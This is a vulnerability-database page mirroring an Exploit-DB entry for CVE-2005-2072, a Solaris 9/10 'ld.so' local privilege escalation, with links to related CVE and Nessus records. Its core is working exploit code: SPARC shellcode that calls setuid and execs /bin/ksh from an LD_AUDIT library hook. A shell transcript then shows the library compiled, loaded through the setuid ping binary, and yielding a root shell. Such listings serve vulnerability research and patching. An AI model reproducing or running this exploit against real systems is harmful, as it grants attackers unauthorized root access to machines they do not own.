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Solaris 9/10 - 'ld.so' Local Privilege Escalation (2)

🗓️ 28 Jun 2005 00:00:00Reported by Przemyslaw FrasunekType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Solaris 9/10 - 'ld.so' Local Privilege Escalatio

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2005-2072
29 Jun 200504:00
cve
Cvelist
CVE-2005-2072
29 Jun 200504:00
cvelist
Exploit DB
Solaris 9/10 - 'ld.so' Local Privilege Escalation (1)
28 Jun 200500:00
exploitdb
EUVD
EUVD-2005-2074
7 Oct 202500:30
euvd
NVD
CVE-2005-2072
29 Jun 200504:00
nvd
Tenable Nessus
Solaris 10 (sparc) : 117461-08
17 Jul 200500:00
nessus
Tenable Nessus
Solaris 8 (sparc) : 109147-44
12 Jul 200400:00
nessus
Tenable Nessus
Solaris 8 (x86) : 109148-42
12 Jul 200400:00
nessus
Tenable Nessus
Solaris 9 (sparc) : 112963-35
12 Jul 200400:00
nessus
Tenable Nessus
Solaris 9 (x86) : 113986-29
12 Jul 200400:00
nessus
Rows per page
/*
Solaris 9 on SPARC:

$ cat dupa.c
*/

char sh[] =
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

int la_version() {
       void (*f)();
       f = (void*)sh;
       f();
       return 3;
}

/*
$ gcc -fPIC -shared -o /tmp/dupa.so dupa.c
$ export LD_AUDIT=/tmp/dupa.so
$ ping
# id
uid=0(root) gid=100(student)
*/

// milw0rm.com [2005-06-28]

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14 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.00998
37